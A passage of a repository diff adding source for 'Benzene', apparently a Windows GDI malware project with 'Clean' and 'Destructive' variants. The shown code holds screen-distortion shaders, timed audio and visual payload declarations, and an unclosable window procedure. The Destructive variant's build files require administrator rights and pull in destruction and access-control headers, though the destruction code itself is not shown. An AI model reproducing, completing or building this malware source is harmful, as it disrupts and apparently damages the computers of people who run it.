+ FLOAT _t = (FLOAT)t / 1.f;
1791
+
1792
+ for (INT y = 0; y < h; y++)
1793
+ {
1794
+ FLOAT _y = (FLOAT)y / 2.f;
1795
+
1796
+ for (INT x = 0; x < w; x++)
1797
+ {
1798
+ FLOAT a = FastCosine(_y + _t) * 9.f;
1799
+
1800
+ u = x + (INT)a, v = y;
1801
+ u %= w;
1802
+ v %= h;
1803
+
1804
+ rgbDst = prgbSrc[v * w + u];
1805
+ FLOAT r = (FLOAT)prgbSrc[y * w + x].r;
1806
+ FLOAT g = (FLOAT)prgbSrc[y * w + x].g;
1807
+ FLOAT b = (FLOAT)prgbSrc[y * w + x].b;
1808
+
1809
+ //rgbDst.rgb = (COLORREF)0;
1810
+ hsl = RGBToHSL(rgbDst);
1811
+ hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + 1.0 / 45.0 + ((FLOAT)x + (FLOAT)y) / (((FLOAT)w + (FLOAT)h) * 64.f), 1.0);
1812
+ prgbDst[y * w + x] = HSLToRGB(hsl);
1813
+ }
1814
+ }
1815
+ }
1816
+
1817
+ VOID
1818
+ WINAPI
1819
+ GdiShader23(
1820
+ _In_ INT t,
1821
+ _In_ INT w,
1822
+ _In_ INT h,
1823
+ _In_ HDC hdcTemp,
1824
+ _In_ HBITMAP hbmTemp,
1825
+ _In_ PRGBQUAD prgbSrc,
1826
+ _Inout_ PRGBQUAD prgbDst
1827
+ )
1828
+ {
1829
+ UINT u;
1830
+ UINT v;
1831
+ RGBQUAD rgbDst;
1832
+
1833
+ for (INT y = 0; y < h; y++)
1834
+ {
1835
+ FLOAT a = FastSine((FLOAT)t / 8.f + (FLOAT)y / 64.f) * 4.f;
1836
+
1837
+ for (INT x = 0; x < w; x++)
1838
+ {
1839
+ u = x + t + (INT)a;
1840
+ v = y + t + (INT)a;
1841
+
1842
+ u %= w;
1843
+ v %= h;
1844
+
1845
+ rgbDst = prgbSrc[v * w + u];
1846
+ prgbDst[y * w + x] = rgbDst;
1847
+ }
1848
+ }
1849
+ }
1850
+
1851
+ VOID
1852
+ WINAPI
1853
+ GdiShader24(
1854
+ _In_ INT t,
1855
+ _In_ INT w,
1856
+ _In_ INT h,
1857
+ _In_ HDC hdcTemp,
1858
+ _In_ HBITMAP hbmTemp,
1859
+ _In_ PRGBQUAD prgbSrc,
1860
+ _Inout_ PRGBQUAD prgbDst
1861
+ )
1862
+ {
1863
+ UNREFERENCED_PARAMETER(t);
1864
+ UNREFERENCED_PARAMETER(hdcTemp);
1865
+ UNREFERENCED_PARAMETER(hbmTemp);
1866
+ UNREFERENCED_PARAMETER(prgbSrc);
1867
+
1868
+ RGBQUAD rgbDst;
1869
+
1870
+ for (INT y = 0; y < h; y++)
1871
+ {
1872
+ FLOAT a = FastSine((FLOAT)t / 100.f + (FLOAT)y / 10.f) * 9.f;
1873
+ for (INT x = 0; x < w; x++)
1874
+ {
1875
+ INT u = x + 0 + (INT)a;
1876
+ INT v = y;
1877
+
1878
+ u %= w;
1879
+ v %= h;
1880
+
1881
+ rgbDst = prgbSrc[v * w + u];
1882
+
1883
+ rgbDst.rgb = ((rgbDst.b - 1) | ((rgbDst.g + 1) << 10) | ((rgbDst.r - 2) << 1));
1884
+
1885
+ prgbDst[y * w + x] = rgbDst;
1886
+ }
1887
+ }
1888
+ }
1889
+
1890
+ VOID
1891
+ WINAPI
1892
+ FinalGdiShader(
1893
+ _In_ INT t,
1894
+ _In_ INT w,
1895
+ _In_ INT h,
1896
+ _In_ HDC hdcTemp,
1897
+ _In_ HBITMAP hbmTemp,
1898
+ _In_ PRGBQUAD prgbSrc,
1899
+ _Inout_ PRGBQUAD prgbDst
1900
+ )
1901
+ {
1902
+ UNREFERENCED_PARAMETER(t);
1903
+ UNREFERENCED_PARAMETER(hdcTemp);
1904
+ UNREFERENCED_PARAMETER(hbmTemp);
1905
+ UNREFERENCED_PARAMETER(prgbSrc);
1906
+
1907
+ RGBQUAD rgbDst;
1908
+
1909
+ for (INT i = 0; i < w * h; i += w)
1910
+ {
1911
+ rgbDst.rgb = (Xorshift32() % 256) * 0x010101;
1912
+
1913
+ for (INT j = 0; j < w; j++)
1914
+ {
1915
+ prgbDst[i + j] = rgbDst;
1916
+ }
1917
+ }
1918
+ }
src/Benzene-main/Clean/Benzene/payloads.h ADDED
@@ -0,0 +1,106 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ #define TIMER_DELAY 100
5
+ #define PAYLOAD_MS 10000
6
+ #define PAYLOAD_TIME ( PAYLOAD_MS / TIMER_DELAY )
7
+
8
+ #define SineWave(t, freq, sampleCount) FastSine(2.f * 3.1415f * ((FLOAT)(freq) * (FLOAT)(t) / (FLOAT)(sampleCount)))
9
+ #define SquareWave(t, freq, sampleCount) (((BYTE)(2.f * (FLOAT)(freq) * ((t) / (FLOAT)(sampleCount))) % 2) == 0 ? 1.f : -1.f)
10
+ #define TriangleWave(t, freq, sampleCount) (4.f * ( FLOAT )fabs(((FLOAT)(t) / ((FLOAT)(sampleCount) / (FLOAT)(freq))) - floor(((FLOAT)(t) / ((FLOAT)(sampleCount) / (FLOAT)(freq)))) - .5f) - 1.f)
11
+ #define SawtoothWave(t, freq, sampleCount) (fmod(((FLOAT)(t) / (FLOAT)(sampleCount)), (1.f / (FLOAT)(freq))) * (FLOAT)(freq) * 2.f - 1.f)
12
+
13
+ VOID
14
+ WINAPI
15
+ AudioPayloadThread( VOID );
16
+
17
+ VOID
18
+ WINAPI
19
+ AudioSequenceThread(
20
+ _In_ PAUDIO_SEQUENCE_PARAMS pAudioParams
21
+ );
22
+
23
+ VOID
24
+ WINAPI
25
+ ExecuteAudioSequence(
26
+ _In_ INT nSamplesPerSec,
27
+ _In_ INT nSampleCount,
28
+ _In_ AUDIO_SEQUENCE pAudioSequence,
29
+ _In_opt_ AUDIOSEQUENCE_OPERATION pPreSynthOp,
30
+ _In_opt_ AUDIOSEQUENCE_OPERATION pPostSynthOp
31
+ );
32
+
33
+ #define SYNTH_LENGTH 18
34
+ AUDIO_SEQUENCE AudioSequence1;
35
+ AUDIO_SEQUENCE AudioSequence2;
36
+ AUDIO_SEQUENCE AudioSequence3;
37
+ AUDIO_SEQUENCE AudioSequence4;
38
+ AUDIO_SEQUENCE AudioSequence5;
39
+ AUDIO_SEQUENCE AudioSequence6;
40
+ AUDIO_SEQUENCE AudioSequence7;
41
+ AUDIO_SEQUENCE AudioSequence8;
42
+ AUDIO_SEQUENCE AudioSequence9;
43
+ AUDIO_SEQUENCE AudioSequence10;
44
+ AUDIO_SEQUENCE AudioSequence11;
45
+ AUDIO_SEQUENCE AudioSequence12;
46
+ AUDIO_SEQUENCE AudioSequence13;
47
+ AUDIO_SEQUENCE AudioSequence14;
48
+ AUDIO_SEQUENCE AudioSequence15;
49
+ AUDIO_SEQUENCE AudioSequence16;
50
+ AUDIO_SEQUENCE AudioSequence17;
51
+ AUDIO_SEQUENCE AudioSequence18;
52
+ AUDIO_SEQUENCE FinalAudioSequence;
53
+ AUDIO_SEQUENCE_PARAMS pAudioSequences[ 25 ];
54
+
55
+ VOID
56
+ WINAPI
57
+ GdiShaderThread(
58
+ _In_ PGDISHADER_PARAMS pGdiShaderParams
59
+ );
60
+
61
+ VOID
62
+ WINAPI
63
+ ExecuteGdiShader(
64
+ _In_ HDC hdcDst,
65
+ _In_ RECT rcBounds,
66
+ _In_ INT nTime,
67
+ _In_ INT nDelay,
68
+ _In_ GDI_SHADER pGdiShader,
69
+ _In_opt_ GDI_SHADER_OPERATION pPreGdiShader,
70
+ _In_opt_ GDI_SHADER_OPERATION pPostGdiShader
71
+ );
72
+
73
+ INT nShaderThreeSeed;
74
+ GDI_SHADER GdiShader1;
75
+ GDI_SHADER GdiShader2;
76
+ GDI_SHADER GdiShader3;
77
+ GDI_SHADER GdiShader4;
78
+ GDI_SHADER GdiShader5;
79
+ GDI_SHADER GdiShader6;
80
+ GDI_SHADER GdiShader7;
81
+ GDI_SHADER GdiShader8;
82
+ GDI_SHADER GdiShader9;
83
+ GDI_SHADER GdiShader10;
84
+ GDI_SHADER GdiShader11;
85
+ GDI_SHADER GdiShader12;
86
+ GDI_SHADER GdiShader13;
87
+ GDI_SHADER GdiShader14;
88
+ GDI_SHADER GdiShader15;
89
+ GDI_SHADER GdiShader16;
90
+ GDI_SHADER GdiShader17;
91
+ GDI_SHADER GdiShader18;
92
+ GDI_SHADER GdiShader19;
93
+ GDI_SHADER GdiShader20;
94
+ GDI_SHADER GdiShader21;
95
+ GDI_SHADER GdiShader22;
96
+ GDI_SHADER GdiShader23;
97
+ GDI_SHADER GdiShader24;
98
+ GDI_SHADER FinalGdiShader;
99
+ GDI_SHADER_OPERATION PreGdiShader1;
100
+ GDI_SHADER_OPERATION PostGdiShader1;
101
+ GDI_SHADER_OPERATION PostGdiShader2;
102
+ GDI_SHADER_OPERATION PostGdiShader3;
103
+ GDI_SHADER_OPERATION PostGdiShader4;
104
+ GDI_SHADER_OPERATION PostGdiShader5;
105
+ GDI_SHADER_OPERATION PostGdiShader6;
106
+ GDI_SHADER_PARAMS pGdiShaders[ 25 ];
src/Benzene-main/Clean/Benzene/resource.h ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ //{{NO_DEPENDENCIES}}
2
+ // Microsoft Visual C++ generated include file.
3
+ // Used by Benzene.rc
4
+
5
+ // �V�����I�u�W�F�N�g�̎��̊���l
6
+ //
7
+ #ifdef APSTUDIO_INVOKED
8
+ #ifndef APSTUDIO_READONLY_SYMBOLS
9
+ #define _APS_NEXT_RESOURCE_VALUE 101
10
+ #define _APS_NEXT_COMMAND_VALUE 40001
11
+ #define _APS_NEXT_CONTROL_VALUE 1001
12
+ #define _APS_NEXT_SYMED_VALUE 101
13
+ #endif
14
+ #endif
src/Benzene-main/Clean/Benzene/resource1.h ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ //{{NO_DEPENDENCIES}}
2
+ // Microsoft Visual C++ generated include file.
3
+ // Used by Benzene1.rc
4
+
5
+ // �V�����I�u�W�F�N�g�̎��̊���l
6
+ //
7
+ #ifdef APSTUDIO_INVOKED
8
+ #ifndef APSTUDIO_READONLY_SYMBOLS
9
+ #define _APS_NEXT_RESOURCE_VALUE 101
10
+ #define _APS_NEXT_COMMAND_VALUE 40001
11
+ #define _APS_NEXT_CONTROL_VALUE 1001
12
+ #define _APS_NEXT_SYMED_VALUE 101
13
+ #endif
14
+ #endif
src/Benzene-main/Clean/Benzene/resource2.h ADDED
@@ -0,0 +1,19 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ //{{NO_DEPENDENCIES}}
2
+ // Microsoft Visual C++ �Ő������ꂽ�C���N���[�h �t�@�C���B
3
+ // Benzene.rc �Ŏg�p
4
+ //
5
+ #define IDI_ICON1 101
6
+ #define IDI_ICON2 102
7
+ #define IDI_ICON3 104
8
+ #define IDI_ICON4 106
9
+
10
+ // Next default values for new objects
11
+ //
12
+ #ifdef APSTUDIO_INVOKED
13
+ #ifndef APSTUDIO_READONLY_SYMBOLS
14
+ #define _APS_NEXT_RESOURCE_VALUE 107
15
+ #define _APS_NEXT_COMMAND_VALUE 40001
16
+ #define _APS_NEXT_CONTROL_VALUE 1001
17
+ #define _APS_NEXT_SYMED_VALUE 101
18
+ #endif
19
+ #endif
src/Benzene-main/Clean/Benzene/threads.c ADDED
@@ -0,0 +1,17 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ VOID
4
+ WINAPI
5
+ TimerThread(
6
+ VOID
7
+ )
8
+ {
9
+ SetTimer( NULL, 0, TIMER_DELAY, ( TIMERPROC )TimerProc );
10
+
11
+ MSG msg;
12
+ while ( GetMessageW( &msg, NULL, 0, 0 ) )
13
+ {
14
+ TranslateMessage( &msg );
15
+ DispatchMessageW( &msg );
16
+ }
17
+ }
src/Benzene-main/Clean/Benzene/threads.h ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ VOID
5
+ WINAPI
6
+ TimerThread(
7
+ VOID
8
+ );
src/Benzene-main/Destructive/Benzene.sln ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ 
2
+ Microsoft Visual Studio Solution File, Format Version 12.00
3
+ # Visual Studio Version 17
4
+ VisualStudioVersion = 17.2.32317.152
5
+ MinimumVisualStudioVersion = 10.0.40219.1
6
+ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Benzene", "Benzene\Benzene.vcxproj", "{3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}"
7
+ EndProject
8
+ Global
9
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
10
+ Release|x64 = Release|x64
11
+ Release|x86 = Release|x86
12
+ EndGlobalSection
13
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
14
+ {3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x64.ActiveCfg = Release|x64
15
+ {3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x64.Build.0 = Release|x64
16
+ {3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x86.ActiveCfg = Release|Win32
17
+ {3A2DBCF5-A3AB-456D-8367-41D1F1E5E2B4}.Release|x86.Build.0 = Release|Win32
18
+ EndGlobalSection
19
+ GlobalSection(SolutionProperties) = preSolution
20
+ HideSolutionNode = FALSE
21
+ EndGlobalSection
22
+ GlobalSection(ExtensibilityGlobals) = postSolution
23
+ SolutionGuid = {B9ADE6F0-3297-4736-88CE-1135D1B5CAAC}
24
+ EndGlobalSection
25
+ EndGlobal
src/Benzene-main/Destructive/Benzene/Benzene.vcxproj ADDED
@@ -0,0 +1,128 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0" encoding="utf-8"?>
2
+ <Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3
+ <ItemGroup Label="ProjectConfigurations">
4
+ <ProjectConfiguration Include="Release|Win32">
5
+ <Configuration>Release</Configuration>
6
+ <Platform>Win32</Platform>
7
+ </ProjectConfiguration>
8
+ <ProjectConfiguration Include="Release|x64">
9
+ <Configuration>Release</Configuration>
10
+ <Platform>x64</Platform>
11
+ </ProjectConfiguration>
12
+ </ItemGroup>
13
+ <ItemGroup>
14
+ <ClInclude Include="callbacks.h" />
15
+ <ClInclude Include="color.h" />
16
+ <ClInclude Include="def.h" />
17
+ <ClInclude Include="destruction.h" />
18
+ <ClInclude Include="extra_payloads.h" />
19
+ <ClInclude Include="math.h" />
20
+ <ClInclude Include="benzene.h" />
21
+ <ClInclude Include="payloads.h" />
22
+ <ClInclude Include="resource.h" />
23
+ <ClInclude Include="threads.h" />
24
+ </ItemGroup>
25
+ <ItemGroup>
26
+ <ClCompile Include="callbacks.c" />
27
+ <ClCompile Include="color.c" />
28
+ <ClCompile Include="destruction.c" />
29
+ <ClCompile Include="extra_payloads.c" />
30
+ <ClCompile Include="main.c" />
31
+ <ClCompile Include="math.c" />
32
+ <ClCompile Include="payloads.c" />
33
+ <ClCompile Include="threads.c" />
34
+ </ItemGroup>
35
+ <PropertyGroup Label="Globals">
36
+ <VCProjectVersion>16.0</VCProjectVersion>
37
+ <Keyword>Win32Proj</Keyword>
38
+ <ProjectGuid>{3a2dbcf5-a3ab-456d-8367-41d1f1e5e2b4}</ProjectGuid>
39
+ <RootNamespace>Benzene</RootNamespace>
40
+ <WindowsTargetPlatformVersion>7.0</WindowsTargetPlatformVersion>
41
+ </PropertyGroup>
42
+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
43
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
44
+ <ConfigurationType>Application</ConfigurationType>
45
+ <UseDebugLibraries>false</UseDebugLibraries>
46
+ <PlatformToolset>v141_xp</PlatformToolset>
47
+ <WholeProgramOptimization>true</WholeProgramOptimization>
48
+ <CharacterSet>Unicode</CharacterSet>
49
+ </PropertyGroup>
50
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
51
+ <ConfigurationType>Application</ConfigurationType>
52
+ <UseDebugLibraries>false</UseDebugLibraries>
53
+ <PlatformToolset>v141_xp</PlatformToolset>
54
+ <WholeProgramOptimization>true</WholeProgramOptimization>
55
+ <CharacterSet>Unicode</CharacterSet>
56
+ </PropertyGroup>
57
+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
58
+ <ImportGroup Label="ExtensionSettings">
59
+ </ImportGroup>
60
+ <ImportGroup Label="Shared">
61
+ </ImportGroup>
62
+ <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
63
+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
64
+ </ImportGroup>
65
+ <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
66
+ <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
67
+ </ImportGroup>
68
+ <PropertyGroup Label="UserMacros" />
69
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
70
+ <LinkIncremental>false</LinkIncremental>
71
+ <TargetName>$(ProjectName) x86</TargetName>
72
+ </PropertyGroup>
73
+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
74
+ <LinkIncremental>false</LinkIncremental>
75
+ <TargetName>$(ProjectName) x64</TargetName>
76
+ </PropertyGroup>
77
+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
78
+ <ClCompile>
79
+ <WarningLevel>Level3</WarningLevel>
80
+ <FunctionLevelLinking>true</FunctionLevelLinking>
81
+ <IntrinsicFunctions>true</IntrinsicFunctions>
82
+ <SDLCheck>true</SDLCheck>
83
+ <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
84
+ <ConformanceMode>true</ConformanceMode>
85
+ <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
86
+ <EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
87
+ <TreatWarningAsError>true</TreatWarningAsError>
88
+ <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
89
+ <CallingConvention>StdCall</CallingConvention>
90
+ <FloatingPointModel>Fast</FloatingPointModel>
91
+ </ClCompile>
92
+ <Link>
93
+ <SubSystem>Windows</SubSystem>
94
+ <EnableCOMDATFolding>true</EnableCOMDATFolding>
95
+ <OptimizeReferences>true</OptimizeReferences>
96
+ <GenerateDebugInformation>false</GenerateDebugInformation>
97
+ <AdditionalDependencies>shlwapi.lib;winmm.lib;%(AdditionalDependencies)</AdditionalDependencies>
98
+ <UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
99
+ </Link>
100
+ </ItemDefinitionGroup>
101
+ <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
102
+ <ClCompile>
103
+ <WarningLevel>Level3</WarningLevel>
104
+ <FunctionLevelLinking>true</FunctionLevelLinking>
105
+ <IntrinsicFunctions>true</IntrinsicFunctions>
106
+ <SDLCheck>true</SDLCheck>
107
+ <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
108
+ <ConformanceMode>true</ConformanceMode>
109
+ <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
110
+ <EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
111
+ <TreatWarningAsError>true</TreatWarningAsError>
112
+ <FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
113
+ <CallingConvention>StdCall</CallingConvention>
114
+ <FloatingPointModel>Fast</FloatingPointModel>
115
+ </ClCompile>
116
+ <Link>
117
+ <SubSystem>Windows</SubSystem>
118
+ <EnableCOMDATFolding>true</EnableCOMDATFolding>
119
+ <OptimizeReferences>true</OptimizeReferences>
120
+ <GenerateDebugInformation>false</GenerateDebugInformation>
121
+ <AdditionalDependencies>shlwapi.lib;winmm.lib;%(AdditionalDependencies)</AdditionalDependencies>
122
+ <UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
123
+ </Link>
124
+ </ItemDefinitionGroup>
125
+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
126
+ <ImportGroup Label="ExtensionTargets">
127
+ </ImportGroup>
128
+ </Project>
src/Benzene-main/Destructive/Benzene/Benzene.vcxproj.filters ADDED
@@ -0,0 +1,75 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?xml version="1.0" encoding="utf-8"?>
2
+ <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3
+ <ItemGroup>
4
+ <Filter Include="ソース ファイル">
5
+ <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
6
+ <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
7
+ </Filter>
8
+ <Filter Include="ヘッダー ファイル">
9
+ <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10
+ <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
11
+ </Filter>
12
+ <Filter Include="リソース ファイル">
13
+ <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14
+ <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15
+ </Filter>
16
+ </ItemGroup>
17
+ <ItemGroup>
18
+ <ClInclude Include="callbacks.h">
19
+ <Filter>ヘッダー ファイル</Filter>
20
+ </ClInclude>
21
+ <ClInclude Include="threads.h">
22
+ <Filter>ヘッダー ファイル</Filter>
23
+ </ClInclude>
24
+ <ClInclude Include="color.h">
25
+ <Filter>ヘッダー ファイル</Filter>
26
+ </ClInclude>
27
+ <ClInclude Include="def.h">
28
+ <Filter>ヘッダー ファイル</Filter>
29
+ </ClInclude>
30
+ <ClInclude Include="destruction.h">
31
+ <Filter>ヘッダー ファイル</Filter>
32
+ </ClInclude>
33
+ <ClInclude Include="extra_payloads.h">
34
+ <Filter>ヘッダー ファイル</Filter>
35
+ </ClInclude>
36
+ <ClInclude Include="math.h">
37
+ <Filter>ヘッダー ファイル</Filter>
38
+ </ClInclude>
39
+ <ClInclude Include="benzene.h">
40
+ <Filter>ヘッダー ファイル</Filter>
41
+ </ClInclude>
42
+ <ClInclude Include="payloads.h">
43
+ <Filter>ヘッダー ファイル</Filter>
44
+ </ClInclude>
45
+ <ClInclude Include="resource.h">
46
+ <Filter>ヘッダー ファイル</Filter>
47
+ </ClInclude>
48
+ </ItemGroup>
49
+ <ItemGroup>
50
+ <ClCompile Include="callbacks.c">
51
+ <Filter>ソース ファイル</Filter>
52
+ </ClCompile>
53
+ <ClCompile Include="color.c">
54
+ <Filter>ソース ファイル</Filter>
55
+ </ClCompile>
56
+ <ClCompile Include="destruction.c">
57
+ <Filter>ソース ファイル</Filter>
58
+ </ClCompile>
59
+ <ClCompile Include="extra_payloads.c">
60
+ <Filter>ソース ファイル</Filter>
61
+ </ClCompile>
62
+ <ClCompile Include="main.c">
63
+ <Filter>ソース ファイル</Filter>
64
+ </ClCompile>
65
+ <ClCompile Include="math.c">
66
+ <Filter>ソース ファイル</Filter>
67
+ </ClCompile>
68
+ <ClCompile Include="payloads.c">
69
+ <Filter>ソース ファイル</Filter>
70
+ </ClCompile>
71
+ <ClCompile Include="threads.c">
72
+ <Filter>ソース ファイル</Filter>
73
+ </ClCompile>
74
+ </ItemGroup>
75
+ </Project>
src/Benzene-main/Destructive/Benzene/Benzene.vcxproj.user ADDED
@@ -0,0 +1,4 @@
 
 
 
 
 
1
+ <?xml version="1.0" encoding="utf-8"?>
2
+ <Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3
+ <PropertyGroup />
4
+ </Project>
src/Benzene-main/Destructive/Benzene/benzene.h ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #pragma warning( disable: 4152 )
3
+ #pragma warning( disable: 4201 )
4
+
5
+ #define RGBQUAD _RGBQUAD
6
+ #pragma warning( push, 0 )
7
+ #include <windows.h>
8
+ #pragma warning( pop )
9
+ #undef RGBQUAD
10
+
11
+ #include <accctrl.h>
12
+ #include <aclapi.h>
13
+ #include <stdio.h>
14
+ #include <math.h>
15
+ #include "def.h"
16
+ #include "math.h"
17
+ #include "color.h"
18
+ #include "callbacks.h"
19
+ #include "threads.h"
20
+ #include "payloads.h"
21
+ #include "extra_payloads.h"
22
+ #include "destruction.h"
23
+
24
+ #pragma region Public Variables
25
+ extern HWND hwndDesktop;
26
+ extern HDC hdcDesktop;
27
+ extern RECT rcScrBounds;
28
+ extern HHOOK hMsgHook;
29
+ extern INT nCounter;
30
+ #pragma endregion Public Variables
src/Benzene-main/Destructive/Benzene/callbacks.c ADDED
@@ -0,0 +1,59 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ BOOL
4
+ CALLBACK
5
+ MonitorEnumProc(
6
+ _In_ HMONITOR hMonitor,
7
+ _In_ HDC hDC,
8
+ _In_ PRECT prcArea,
9
+ _In_ LPARAM lParam
10
+ )
11
+ {
12
+ UNREFERENCED_PARAMETER( hMonitor );
13
+ UNREFERENCED_PARAMETER( hDC );
14
+ UNREFERENCED_PARAMETER( lParam );
15
+
16
+ rcScrBounds.left = min( rcScrBounds.left, prcArea->left );
17
+ rcScrBounds.top = min( rcScrBounds.top, prcArea->top );
18
+ rcScrBounds.right = max( rcScrBounds.right, prcArea->right );
19
+ rcScrBounds.bottom = max( rcScrBounds.bottom, prcArea->bottom );
20
+
21
+ return TRUE;
22
+ }
23
+
24
+ LRESULT
25
+ CALLBACK
26
+ NoDestroyWndProc(
27
+ _In_ HWND hWnd,
28
+ _In_ DWORD dwMsg,
29
+ _In_ WPARAM wParam,
30
+ _In_ LPARAM lParam
31
+ )
32
+ {
33
+ switch ( dwMsg )
34
+ {
35
+ default:
36
+ return DefWindowProcW( hWnd, dwMsg, wParam, lParam );
37
+ case WM_DESTROY:
38
+ case WM_CLOSE:
39
+ case WM_QUIT:
40
+ return CALLBACK_NULL;
41
+ }
42
+ }
43
+
44
+ VOID
45
+ CALLBACK
46
+ TimerProc(
47
+ _In_ HWND hWnd,
48
+ _In_ UINT nMsg,
49
+ _In_ UINT nIDEvent,
50
+ _In_ DWORD dwTime
51
+ )
52
+ {
53
+ UNREFERENCED_PARAMETER( hWnd );
54
+ UNREFERENCED_PARAMETER( nMsg );
55
+ UNREFERENCED_PARAMETER( nIDEvent );
56
+ UNREFERENCED_PARAMETER( dwTime );
57
+
58
+ nCounter++;
59
+ }
src/Benzene-main/Destructive/Benzene/callbacks.h ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ BOOL
5
+ CALLBACK
6
+ MonitorEnumProc(
7
+ _In_ HMONITOR hMonitor,
8
+ _In_ HDC hDC,
9
+ _In_ PRECT prcArea,
10
+ _In_ LPARAM lParam
11
+ );
12
+
13
+ LRESULT
14
+ CALLBACK
15
+ NoDestroyWndProc(
16
+ _In_ HWND hWnd,
17
+ _In_ DWORD dwMsg,
18
+ _In_ WPARAM wParam,
19
+ _In_ LPARAM lParam
20
+ );
21
+
22
+ VOID
23
+ CALLBACK
24
+ TimerProc(
25
+ _In_ HWND hWnd,
26
+ _In_ UINT nMsg,
27
